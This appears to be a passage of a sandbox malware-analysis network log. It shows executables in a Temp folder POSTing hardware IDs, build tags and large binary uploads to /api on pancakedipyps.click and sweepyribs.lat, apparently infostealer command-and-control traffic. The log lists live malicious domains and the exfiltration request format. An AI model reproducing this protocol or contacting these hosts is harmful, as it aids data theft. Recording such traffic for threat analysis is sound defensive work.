2024-12-17 21:07:40 UTC	15331	OUT	Data Raw: 30 39 af 2d f5 a2 e9 e0 b4 ad 27 e6 db ae 2b 9e bc 07 85 64 f9 2d 51 ec 37 df 6d ff ec dd 9c 60 d7 af f6 98 7d a9 1f 7c 8c d1 4c 06 29 36 44 ba 09 76 c1 96 df ec 10 cf 09 15 ec 42 73 bc 96 a2 42 37 37 30 6f e9 4b da bd a0 4b 4c f8 d6 28 5c e6 98 55 dd 76 92 8a 0a 68 e5 7c b9 67 be 74 1a 47 aa 16 03 0d 1f 19 6c 65 54 4c dd a0 12 e2 44 56 0e 3d d9 d2 c5 31 95 3c 88 0d f3 83 a9 e9 2c 3d d9 c1 90 0b c5 72 65 f1 d3 df d0 57 0a 7d bc 0a 4b 77 fa e2 8b 34 f8 df 0b d6 4d 1d b4 6f 49 bb 86 1d 1b fc 7f 13 9d eb 48 7c ac 49 37 53 f4 4c ff 77 f8 9a 09 48 af ec b8 72 c6 ce 08 ef 94 f9 69 4f de e1 6e ce 10 b3 ea dd a2 d5 8f 31 9a 84 78 d7 d8 f5 ff 1c fa bd d4 7b e4 fb 23 2d 1c bd 71 ef 99 f7 df 0e 26 d4 7d 34 44 22 05 aa fc 3d fc ce 32 d3 f7 e2 f3 dd ca 6a b4 fe 6c eb Data Ascii: 09-'+d-Q7m`}\|L)6DvBsB770oKKL(\Uvh\|gtGleTLDV=1<,=reW}Kw4MoIH\|I7SLwHriOn1x{#-q&}4D"=2jl
2024-12-17 21:07:40 UTC	15331	OUT	Data Raw: 01 a2 2f fc ad b0 3c 48 91 f0 8e a3 03 7a 22 5c ed c7 63 84 49 c0 86 8c aa 68 8b 2f 62 8f 37 c1 83 7e 12 f9 04 a4 84 1f b8 4d d1 82 a9 80 d3 33 ce 3e 8c 20 fe 64 0b a3 68 cb 12 ff 15 d9 eb 38 52 5e 95 71 b4 3b 4b 46 8d 21 f1 4b 65 3d 3d 8d 65 9b 66 87 ff fc 16 9f 81 7a e1 44 6a 51 94 5e 48 50 43 95 a3 81 5d 7b 6a 13 6d fe 60 39 aa f9 b6 97 40 47 09 9d 3c 7f cc a5 9f b6 47 e4 a0 1c 31 89 ca 91 10 59 8c b8 3e 67 7a 5e a8 4b 53 57 25 b3 14 b5 74 32 23 4a 04 77 09 bb d3 86 91 77 db 73 1f 34 6b 36 2d 99 7f 43 18 01 df c6 2e 09 a0 3c a0 9f 43 14 05 8b 3a c8 03 d3 ab c5 68 67 2f 3e ab 95 c6 b9 d4 ea f1 07 c6 ac a7 4f 5f 5e 9f 33 37 ea ac 1c 69 8e dc d0 cd 78 cc 4f 85 c1 6b c6 7f e5 de 67 cc 3c 7f 9c 14 70 79 d2 24 a3 72 da 22 d5 92 e9 33 ff 65 1c 7e ad 5d 0e 22 Data Ascii: /<Hz"\cIh/b7~M3> dh8R^q;KF!Ke==efzDjQ^HPC]{jm`9@G<G1Y>gz^KSW%t2#Jwws4k6-C.<C:hg/>O_^37ixOkg<py$r"3e~]"
2024-12-17 21:07:42 UTC	1044	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:07:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1i2k2vdo0jh2m9a5qejqa95r8i; expires=Sat, 12-Apr-2025 14:54:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aPQQPvRWFD0yihA%2BzyTGO%2FSU%2BkI34ghzEe0qRM9AhvvEvjVPbQUC4NTg868MoXPgHFyiMUs2xxqXAtvKK1Gg6xAKi9KuD026rvKTBSBMcKx24fShyWALem9cE0D1iqyLnw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e2530fb84386-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1732&min_rtt=1726&rtt_var=661&sent=334&recv=603&lost=0&retrans=0&sent_bytes=2832&recv_bytes=572933&delivery_rate=1639528&cwnd=246&unsent_bytes=0&cid=ec3ef375d6b3dda4&ts=2342&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50012	172.67.209.202	443	1648	C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:07:40 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VXL73KN7FGRN3685RXZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: pancakedipyps.click
2024-12-17 21:07:40 UTC	8789	OUT	Data Raw: 2d 2d 56 58 4c 37 33 4b 4e 37 46 47 52 4e 33 36 38 35 52 58 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 56 58 4c 37 33 4b 4e 37 46 47 52 4e 33 36 38 35 52 58 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 58 4c 37 33 4b 4e 37 46 47 52 4e 33 36 38 35 52 58 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 Data Ascii: --VXL73KN7FGRN3685RXZContent-Disposition: form-data; name="hwid"A9B01461D2239248AC8923850305D13E--VXL73KN7FGRN3685RXZContent-Disposition: form-data; name="pid"2--VXL73KN7FGRN3685RXZContent-Disposition: form-data; name="lid"FATE99--te
2024-12-17 21:07:41 UTC	1045	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:07:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4520drd54qldfqagbbq7273vc9; expires=Sat, 12-Apr-2025 14:54:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yXumUzkiF9%2FX7xJY8%2BoEMv3Svu%2Fn%2FAkc62h9AD6Gz6mcSht3GtIXZjpBZkeLtCosfu57%2Bnrfmd93EkuVrKKjKSOdluis0vscRC0ft9qZF7FzEEk%2B6Q9q08l6NEMSeizB8DUJYDNX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e2535e08430d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1706&min_rtt=1701&rtt_var=648&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2848&recv_bytes=9732&delivery_rate=1676234&cwnd=227&unsent_bytes=0&cid=5124e6753ae9ad8c&ts=1253&x=0"
2024-12-17 21:07:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 21:07:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50021	172.67.209.202	443	1648	C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:07:44 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1KC18WSE2F User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20388 Host: pancakedipyps.click
2024-12-17 21:07:44 UTC	15331	OUT	Data Raw: 2d 2d 31 4b 43 31 38 57 53 45 32 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 4b 43 31 38 57 53 45 32 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 31 4b 43 31 38 57 53 45 32 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 31 4b 43 31 38 57 53 45 32 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --1KC18WSE2FContent-Disposition: form-data; name="hwid"A9B01461D2239248AC8923850305D13E--1KC18WSE2FContent-Disposition: form-data; name="pid"3--1KC18WSE2FContent-Disposition: form-data; name="lid"FATE99--test--1KC18WSE2FContent-D
2024-12-17 21:07:44 UTC	5057	OUT	Data Raw: 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c 78 Data Ascii: lrQMn 64F6(X&7~`aO@dR<x
2024-12-17 21:07:45 UTC	1043	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:07:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9hda7t8ovps1c6km7gif116kul; expires=Sat, 12-Apr-2025 14:54:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FnIaHTGsRyvjUNSlk6K6lmzP8ZtZx%2BJyB%2FzfDjWiKBeHTd4UGKgSv8bHmfAPPs2JpqkidY14lwWxwUu9iu8pUebFFkuO7xojlJPqafBG%2FExxN57KmkafbFWT9jfZlD%2BpndT%2FGsa6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e26a1d73f799-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1511&min_rtt=1494&rtt_var=595&sent=15&recv=26&lost=0&retrans=0&sent_bytes=2848&recv_bytes=21345&delivery_rate=1788120&cwnd=92&unsent_bytes=0&cid=33b2a2ee4e00c0a4&ts=934&x=0"
2024-12-17 21:07:45 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 21:07:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50022	172.67.129.27	443	7416	C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:07:44 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sweepyribs.lat
2024-12-17 21:07:44 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 26 6a 3d 26 68 77 69 64 3d 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 Data Ascii: act=get_message&ver=4.0&lid=yau6Na--6989783370&j=&hwid=A9B01461D223924800D57F9DDD37BE0C
2024-12-17 21:07:44 UTC	1034	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:07:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8kd42mjn7dpcruppaipeci5l9r; expires=Sat, 12-Apr-2025 14:54:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P9n0YIw0OwTyOFDNuc13JZGxDoma%2FOFt8k%2F3zDIKtUV9nVGMDS7zrr5nh41ME3Y9URyuV5mrMcSr5FKSpcMEsL2HyRdMp49d5lH8Cz4FRu3UMGPbWWdRaJucqE3HCgWC2w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e26b88695e62-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1800&min_rtt=1791&rtt_var=690&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=985&delivery_rate=1565683&cwnd=139&unsent_bytes=0&cid=01b60c7bddb85b34&ts=739&x=0"
2024-12-17 21:07:44 UTC	54	IN	Data Raw: 33 30 0d 0a 49 6d 44 51 6a 33 39 61 72 70 6b 69 6d 63 70 6b 62 77 43 38 56 48 2b 70 5a 4f 54 61 6b 2f 36 2f 41 4b 77 77 55 56 62 66 2b 4c 74 35 50 51 3d 3d 0d 0a Data Ascii: 30ImDQj39arpkimcpkbwC8VH+pZOTak/6/AKwwUVbf+Lt5PQ==
2024-12-17 21:07:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50049	172.67.209.202	443	1648	C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:07:55 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LUT8M7UNB2R9W User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1300 Host: pancakedipyps.click
2024-12-17 21:07:55 UTC	1300	OUT	Data Raw: 2d 2d 4c 55 54 38 4d 37 55 4e 42 32 52 39 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4c 55 54 38 4d 37 55 4e 42 32 52 39 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 55 54 38 4d 37 55 4e 42 32 52 39 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 4c 55 54 38 4d 37 55 4e 42 32 52 39 Data Ascii: --LUT8M7UNB2R9WContent-Disposition: form-data; name="hwid"A9B01461D2239248AC8923850305D13E--LUT8M7UNB2R9WContent-Disposition: form-data; name="pid"1--LUT8M7UNB2R9WContent-Disposition: form-data; name="lid"FATE99--test--LUT8M7UNB2R9
2024-12-17 21:07:55 UTC	1039	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:07:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nk3g1u0ja7hhfmga74ifpsnkod; expires=Sat, 12-Apr-2025 14:54:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tE1nLyZWTQNtpQnP%2FTuTFCUfydVQeh6CYIArVErrJEL4%2BvZiSrC4o9VkA%2FTNpwh6SRDhWGTWKPeWyWPxQAxC78TGTBmHJ5X1wILtjA3SULQvG9ckb1GiFR3A%2BM3L8NCbakGTPutW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e2ae6eca4241-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1585&rtt_var=610&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=2215&delivery_rate=1842271&cwnd=203&unsent_bytes=0&cid=c0705743e790470f&ts=874&x=0"
2024-12-17 21:07:55 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 21:07:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50067	172.67.209.202	443	1648	C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:08:01 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=L7ZAFHFQ65Z3IXH916 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570412 Host: pancakedipyps.click
2024-12-17 21:08:01 UTC	15331	OUT	Data Raw: 2d 2d 4c 37 5a 41 46 48 46 51 36 35 5a 33 49 58 48 39 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4c 37 5a 41 46 48 46 51 36 35 5a 33 49 58 48 39 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 37 5a 41 46 48 46 51 36 35 5a 33 49 58 48 39 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d Data Ascii: --L7ZAFHFQ65Z3IXH916Content-Disposition: form-data; name="hwid"A9B01461D2239248AC8923850305D13E--L7ZAFHFQ65Z3IXH916Content-Disposition: form-data; name="pid"1--L7ZAFHFQ65Z3IXH916Content-Disposition: form-data; name="lid"FATE99--test
2024-12-17 21:08:01 UTC	15331	OUT	Data Raw: cb 2d 6d ff 5d 60 33 ea f2 0c 78 ae fc fd ff 6f 6f 44 7c 8b d5 96 10 e3 36 60 10 30 13 41 fc 40 d7 1d c8 40 93 62 1b b2 fb 63 83 31 b4 ca d7 cf 08 4c 8d ad 99 47 b2 98 79 6e 5f 87 be b0 14 50 8b 08 ff 06 32 7d 37 fb 8a af 03 cf e6 cb 36 93 9d 31 7a 47 fa a3 e5 19 35 0a f8 a3 cb 2e f2 e8 0b a5 2e 4d b2 bd b9 f3 e8 05 4a 02 e4 fa 85 e8 c9 56 64 db ab f8 b7 8c d1 95 c6 f1 9d 6e 45 50 87 70 ae 97 93 20 f0 9d cc 70 76 3b ae 79 dc 82 c9 eb e8 a3 85 e8 76 7b 8d 2c fa 32 44 4f 8f f0 b8 c9 c1 09 7d 77 9e e0 c2 41 24 12 c5 b4 35 e6 e6 b7 a0 3b 9f c0 5d 12 13 07 c0 0b 37 51 c6 62 7e d8 ca 31 a9 e5 2e 3f 2a 16 e9 1f c1 ba 2e 06 db f4 ed cc 84 0d 97 d1 91 6b ca 57 f9 e4 b0 5b 37 e5 35 d3 60 31 4a f7 82 b6 6e c6 63 cf a8 49 f4 bd cc 8c 08 32 36 f2 df cf 93 81 6c ab 46 Data Ascii: -m]`3xooD\|6`0A@@bc1LGyn_P2}761zG5..MJVdnEPp pv;yv{,2DO}wA$5;]7Qb~1.?*.kW[75`1JncI26lF
2024-12-17 21:08:01 UTC	15331	OUT	Data Raw: f5 ef d8 58 6f df 6d af 61 a2 13 ad 5f e2 84 fd 0d f9 50 df bd a4 85 d1 a7 d1 a4 7e 21 47 6f c1 c3 ef 0e 6d 67 7a db 4c ed 8c 9a bc b4 b5 09 77 c1 e3 0f b2 b3 65 76 12 4a d2 1f ea f3 c0 ea f4 70 61 e1 76 67 5f 8e 88 e9 d0 1d 57 20 8e fa ae 9d fb 83 a8 4f 4a b1 a4 15 af 27 6b f1 ec 97 b2 7e 90 e2 d9 6f 56 e9 2f 95 30 51 e3 fe a9 c9 16 b1 9b a7 16 be 18 72 e7 c9 0d 09 d8 e6 68 90 2e 15 4e e8 15 9b 3e f2 9f 9b f2 f3 da f2 36 e3 5a 73 a3 7c d8 16 22 56 4b d7 a8 8e 33 2e 61 22 82 05 e6 1e 4c 6e 89 35 47 23 5a 0a e9 df 18 ed b1 b7 b6 ed 96 61 71 83 31 70 68 14 ed 6a e9 bb 6f 98 28 4f d1 3c 72 ad 49 43 48 d7 0f 5d 11 b2 83 dc f6 0f 93 32 28 9b 38 38 45 ef e7 7d fd 4b d4 8c 62 b8 4a bf 6d fa ee 3c 6d 89 e2 b8 59 15 6c f3 e3 15 7d ec 14 c6 da fe 85 75 e2 ce a2 7a Data Ascii: Xoma_P~!GomgzLwevJpavg_W OJ'k~oV/0Qrh.N>6Zs\|"VK3.a"Ln5G#Zaq1phjo(O<rICH]2(88E}KbJm<mYl}uz
2024-12-17 21:08:01 UTC	15331	OUT	Data Raw: c3 dd 44 9b ee d7 49 47 5d db 11 de 13 70 18 9e ac da 77 fb a7 89 86 22 c6 f6 cf e0 b5 e1 7f ae cc bd 28 c1 05 7c 9f b0 1e de 5f 54 11 54 cc dc 39 99 6b cc 91 e7 7a 1d db 58 a2 c6 3f 3e 45 2f 95 96 c6 2f 2b 0e 84 7c 64 76 d6 8d dd ad 1d db 27 17 6d 7d ff 8a c4 5d 0f c7 c5 fe d2 f8 90 a3 91 fc 7e 33 07 fa d7 26 ec ff 3d e7 a4 33 b9 b1 7b d8 bd df 0b 91 e5 17 9e d9 e4 fd 47 6d b3 29 39 d6 ea a9 f5 1b 63 2e 5c b3 3e dc 72 2f 15 ab d6 2e 9d fb 48 1f 9e 23 8c f0 7d 0a b1 72 8c da 91 b3 42 3e 54 4f 77 cd 1f f6 4f b8 be 27 47 70 97 fc 8e 6f 4c fb f2 2b 1c 93 5f 4a c9 df a3 dc 6f 70 86 da 3f 7d aa 9e bd 02 5e 12 9b 2a 6d 76 92 ad 4d 5a cb b9 8c 90 30 a3 e9 7b 31 c3 ec fb f4 71 58 b2 7c c2 aa 51 9b 77 6f d7 71 64 b7 30 ff 04 d4 9d 45 f9 38 99 f3 6b 66 44 55 eb cd Data Ascii: DIG]pw"(\|_TT9kzX?>E//+\|dv'm}]~3&=3{Gm)9c.\>r/.H#}rB>TOwO'GpoL+_Jop?}^*mvMZ0{1qX\|Qwoqd0E8kfDU
2024-12-17 21:08:01 UTC	15331	OUT	Data Raw: 72 35 5c 2a 56 d9 ad a6 5e af d6 a9 7a a7 e7 d6 04 e2 02 a9 60 76 8d f7 b8 b1 99 c8 45 fe b5 42 59 2a 0e 7b c8 ac d0 6b 83 ad 5f 21 ed c9 da 35 90 f7 c6 c6 03 5c 4c 65 7a 4e 63 9a 1f 43 32 8a 45 db 89 b6 1a 15 61 31 e3 3f e1 96 7f 0b 05 de e2 f2 da 70 60 90 e8 3a ea 70 d0 03 23 ba f1 4a 46 f7 f9 35 03 ab b5 0b 46 95 17 5d 8d fc b7 86 2a 82 9c 61 5f 61 bf ad 72 83 69 fa c8 bf 0b 18 48 cb 19 79 fa ff b5 86 85 88 11 2a 0c ff 8b e0 df 08 f1 02 75 f4 b2 9f 46 12 90 fc ba 35 eb a1 00 2f 53 30 43 51 89 70 66 82 b3 1f 05 d5 6d f5 a4 43 03 e9 b1 e1 38 98 94 92 90 44 7e f0 dd 4b 1b ec 9c 1b ab 4d a0 3c 42 79 2a 57 e7 f6 5e f7 5c 55 7c b1 84 f2 89 7b c4 f4 14 e8 45 36 77 0a 90 ce 96 c3 ca 82 ad 7b 5d ee ef 54 e5 ae 95 9e 83 fc 78 aa 10 c9 26 83 a2 86 ea 32 4b c3 83 Data Ascii: r5\V^z`vEBY{k_!5\LezNcC2Ea1?p`:p#JF5F]a_ariHyuF5/S0CQpfmC8D~KM<By*W^\U\|{E6w{]Tx&2K
2024-12-17 21:08:01 UTC	15331	OUT	Data Raw: ed 26 eb 4b c7 25 29 e9 2e a7 b1 65 8a 9b cf 43 5c dd dc 75 89 a4 45 d0 48 58 8d 89 67 46 ab ae 0a c3 a7 bd 2c 73 62 72 4b 37 56 94 3d 89 97 49 85 11 a6 75 54 4f 4c e7 a2 30 8d 8a 0b bb 25 f4 74 5f e6 4f cd 51 6c bd 0f 41 cb 48 50 a8 1a 0b 42 e7 43 77 f4 bd b7 ae e9 7a 63 1e 6f f7 be 4c ad d3 ac ce b0 2f 71 20 8d 51 83 1d 3e 9a e2 9d f6 c1 3a b5 7a 7f aa 9e c6 9a c4 65 8e d2 77 59 2f b6 45 6c 47 b5 e2 1b 06 5f ec 91 01 f3 9d b1 a5 70 ae 7b e2 7c e2 7c 8b 44 44 0e bb 40 55 e1 48 d2 c4 85 da 1d d1 28 50 c5 a7 47 50 8d 50 fd a7 fb 92 5d 66 93 ef 0b 0d eb 1b 5c 7b 10 89 94 75 05 5c 53 e8 ce f8 4f 37 dc bd 31 df 7b d5 83 70 f0 80 d4 d4 95 63 56 8b 86 e9 c7 58 dd fb 67 3f 9b 89 34 c4 ee 3f de 5c c4 91 a0 0d 70 56 3d ee 4a 56 fa 17 f9 cf 40 d3 a6 4a fe 69 e2 2b Data Ascii: &K%).eC\uEHXgF,sbrK7V=IuTOL0%t_OQlAHPBCwzcoL/q Q>:zewY/ElG_p{\|\|DD@UH(PGPP]f\{u\SO71{pcVXg?4?\pV=JV@Ji+
